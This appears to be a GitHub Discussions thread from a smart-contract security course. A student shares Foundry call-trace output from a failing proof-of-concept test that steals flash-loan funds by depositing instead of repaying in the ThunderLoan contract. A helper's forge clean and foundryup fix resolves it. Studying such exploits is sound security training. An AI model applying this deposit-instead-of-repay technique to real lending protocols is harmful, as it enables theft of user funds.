    │   │   │   │   ├─ emit Transfer(from: AssetToken: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c], to: ERC1967Proxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], value: 50000000000000000000 [5e19])
    │   │   │   │   └─ ← [Return] true
    │   │   │   └─ ← [Stop] 
    │   │   ├─ [632] ERC1967Proxy::executeOperation(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 50000000000000000000 [5e19], 150000000000000000 [1.5e17], 0x00000000000000000000000000000000000001c8, 0x)
    │   │   │   ├─ [214] ThunderLoan::executeOperation(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 50000000000000000000 [5e19], 150000000000000000 [1.5e17], 0x00000000000000000000000000000000000001c8, 0x) [delegatecall]
    │   │   │   │   └─ ← [Revert] EvmError: Revert
    │   │   │   └─ ← [Revert] EvmError: Revert
    │   │   └─ ← [Revert] FailedInnerCall()
    │   └─ ← [Revert] FailedInnerCall()
    └─ ← [Revert] FailedInnerCall()

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 1.51ms (445.28µs CPU time)

Ran 1 test suite in 1.08s (1.51ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[FAIL. Reason: FailedInnerCall()] testUseDepositInsteadOfRepayToStealFunds() (gas: 1070513)

Encountered a total of 1 failing tests, 0 tests succeeded

i think there is some messed up really bad here, I checked and followed writing my test here if it is 1:1 to Patrick's last time, but I still gett this error.

EngrPips Aug 26, 2024

Run forge clean then foundryup then retry the test, Let's see how that will play out

Answer selected by YavorJJ

YavorJJ Aug 30, 2024
Author

Run forge clean then foundryup then retry the test, Let's see how that will play out

5 days later here, you are right my test passed. I was just very busy trying to finish the security course, and today I finished it. I want to thank you for being part of helping me in my solidity and web3 security journey. I wish you best and again, thank you for helping me. Appreciate you much 🫡.

EngrPips Aug 31, 2024

Anytime, My Friend. I look forward to seeing you at the top.

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

repay over deposit error in test, video: Exploit: Deposit Instead Of Repay #227

Uh oh!

{{title}}

Uh oh!

Replies: 1 comment 6 replies

Uh oh!

{{title}}

Uh oh!

Uh oh!

{{title}}

Uh oh!

Uh oh!

{{title}}

Uh oh!

Uh oh!

{{title}}

Uh oh!

Uh oh!

{{title}}

Uh oh!

Uh oh!

{{title}}

Uh oh!

Uh oh!

{{title}}

Uh oh!

Select a reply

Uh oh!

repay over deposit error in test, video: Exploit: Deposit Instead Of Repay #227

Uh oh!

YavorJJ Aug 23, 2024

Replies: 1 comment · 6 replies

Uh oh!

EngrPips Aug 24, 2024

Uh oh!

YavorJJ Aug 24, 2024 Author

Uh oh!

EngrPips Aug 24, 2024

Uh oh!

YavorJJ Aug 25, 2024 Author

Uh oh!

EngrPips Aug 26, 2024

Uh oh!

YavorJJ Aug 30, 2024 Author

Uh oh!

EngrPips Aug 31, 2024

YavorJJ
Aug 23, 2024

Replies: 1 comment 6 replies

EngrPips
Aug 24, 2024

YavorJJ Aug 24, 2024
Author

YavorJJ Aug 25, 2024
Author

YavorJJ Aug 30, 2024
Author